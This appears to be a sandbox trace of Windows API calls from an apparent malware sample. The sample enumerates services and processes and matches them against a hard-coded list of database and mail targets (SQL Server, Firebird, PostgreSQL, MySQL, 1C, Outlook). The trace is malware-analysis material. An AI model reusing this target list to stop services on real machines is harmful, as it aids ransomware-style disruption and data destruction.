[0163.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0163.452] EnumServicesStatusExW (in: hSCManager=0x41d8c98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0163.453] CloseServiceHandle (hSCObject=0x41d8c98) returned 1 [0163.453] lstrlenW (lpString="Appinfo") returned 7 [0163.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0163.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0163.453] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0163.453] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0163.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0163.454] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0163.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0163.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0163.454] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0163.454] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0163.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0163.454] lstrlenW (lpString="AudioSrv") returned 8 [0163.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0163.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0163.454] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0163.454] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0163.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0163.454] lstrlenW (lpString="BFE") returned 3 [0163.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0163.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0163.454] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0163.454] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0163.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0163.454] lstrlenW (lpString="CryptSvc") returned 8 [0163.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0163.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0163.454] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0163.454] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0163.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0163.454] lstrlenW (lpString="CscService") returned 10 [0163.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0163.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0163.455] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0163.455] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0163.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0163.455] lstrlenW (lpString="DcomLaunch") returned 10 [0163.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0163.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0163.455] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0163.455] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0163.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0163.455] lstrlenW (lpString="Dhcp") returned 4 [0163.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0163.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0163.455] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0163.455] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0163.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0163.455] lstrlenW (lpString="Dnscache") returned 8 [0163.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0163.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0163.455] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0163.455] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0163.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0163.455] lstrlenW (lpString="DPS") returned 3 [0163.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0163.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0163.456] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0163.456] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0163.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0163.456] lstrlenW (lpString="eventlog") returned 8 [0163.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0163.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0163.456] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0163.456] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0163.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0163.456] lstrlenW (lpString="EventSystem") returned 11 [0163.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0163.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0163.456] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0163.456] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0163.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0163.456] lstrlenW (lpString="gpsvc") returned 5 [0163.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0163.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0163.456] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0163.456] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0163.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0163.456] lstrlenW (lpString="iphlpsvc") returned 8 [0163.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0163.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0163.457] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0163.457] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0163.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0163.457] lstrlenW (lpString="LanmanServer") returned 12 [0163.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0163.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0163.457] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0163.457] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0163.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0163.457] lstrlenW (lpString="LanmanWorkstation") returned 17 [0163.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0163.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0163.457] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0163.457] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0163.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0163.457] lstrlenW (lpString="lmhosts") returned 7 [0163.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0163.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0163.458] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0163.458] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0163.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0163.458] lstrlenW (lpString="MMCSS") returned 5 [0163.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0163.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0163.458] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0163.458] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0163.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0163.458] lstrlenW (lpString="MpsSvc") returned 6 [0163.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0163.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0163.458] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0163.458] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0163.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0163.458] lstrlenW (lpString="Netman") returned 6 [0163.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0163.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0163.458] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0163.458] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0163.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0163.458] lstrlenW (lpString="netprofm") returned 8 [0163.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0163.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0163.458] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0163.458] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0163.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0163.458] lstrlenW (lpString="NlaSvc") returned 6 [0163.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0163.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0163.459] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0163.459] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0163.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0163.459] lstrlenW (lpString="nsi") returned 3 [0163.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0163.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0163.459] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0163.459] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0163.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0163.459] lstrlenW (lpString="PcaSvc") returned 6 [0163.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0163.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0163.459] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0163.459] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0163.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0163.459] lstrlenW (lpString="PlugPlay") returned 8 [0163.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0163.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0163.459] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0163.459] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0163.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0163.459] lstrlenW (lpString="Power") returned 5 [0163.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0163.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0163.459] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0163.459] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0163.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0163.459] lstrlenW (lpString="ProfSvc") returned 7 [0163.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0163.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0163.460] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0163.460] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0163.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0163.460] lstrlenW (lpString="RpcEptMapper") returned 12 [0163.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0163.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0163.460] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0163.460] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0163.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0163.460] lstrlenW (lpString="RpcSs") returned 5 [0163.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0163.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0163.460] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0163.460] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0163.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0163.460] lstrlenW (lpString="SamSs") returned 5 [0163.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0163.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0163.460] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0163.460] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0163.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0163.460] lstrlenW (lpString="Schedule") returned 8 [0163.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0163.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0163.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0163.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0163.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0163.460] lstrlenW (lpString="SENS") returned 4 [0163.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0163.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0163.461] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0163.461] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0163.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0163.461] lstrlenW (lpString="ShellHWDetection") returned 16 [0163.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0163.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0163.461] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0163.461] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0163.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0163.461] lstrlenW (lpString="Spooler") returned 7 [0163.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0163.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0163.461] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0163.461] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0163.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0163.461] lstrlenW (lpString="SysMain") returned 7 [0163.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0163.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0163.461] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0163.461] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0163.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0163.461] lstrlenW (lpString="Themes") returned 6 [0163.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0163.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0163.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0163.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0163.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0163.462] lstrlenW (lpString="TrkWks") returned 6 [0163.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0163.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0163.462] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0163.462] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0163.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0163.462] lstrlenW (lpString="UxSms") returned 5 [0163.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0163.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0163.462] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0163.462] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0163.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0163.462] lstrlenW (lpString="WdiServiceHost") returned 14 [0163.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0163.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0163.462] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0163.462] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0163.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0163.462] lstrlenW (lpString="WdiSystemHost") returned 13 [0163.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0163.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0163.462] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0163.462] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0163.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0163.462] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0163.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0163.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0163.463] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0163.463] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0163.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0163.463] lstrlenW (lpString="Winmgmt") returned 7 [0163.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0163.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0163.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0163.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0163.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0163.463] lstrlenW (lpString="WPDBusEnum") returned 10 [0163.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0163.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0163.463] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0163.463] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0163.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0163.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0163.463] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x33c [0163.466] Process32FirstW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.466] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0163.467] lstrlenW (lpString="System") returned 6 [0163.467] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0163.467] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0163.467] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0163.467] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0163.467] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0163.467] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0163.467] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0163.467] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0163.468] lstrlenW (lpString="smss.exe") returned 8 [0163.468] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0163.468] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0163.468] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0163.468] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0163.468] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0163.468] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0163.468] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0163.468] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.469] lstrlenW (lpString="csrss.exe") returned 9 [0163.469] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0163.469] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0163.469] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0163.469] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0163.469] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0163.469] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0163.469] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0163.469] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0163.469] lstrlenW (lpString="wininit.exe") returned 11 [0163.469] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0163.469] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0163.469] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0163.470] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0163.470] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0163.470] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0163.470] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0163.470] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.470] lstrlenW (lpString="csrss.exe") returned 9 [0163.470] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0163.470] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0163.470] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0163.470] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0163.470] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0163.470] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0163.470] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0163.471] lstrlenW (lpString="winlogon.exe") returned 12 [0163.471] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 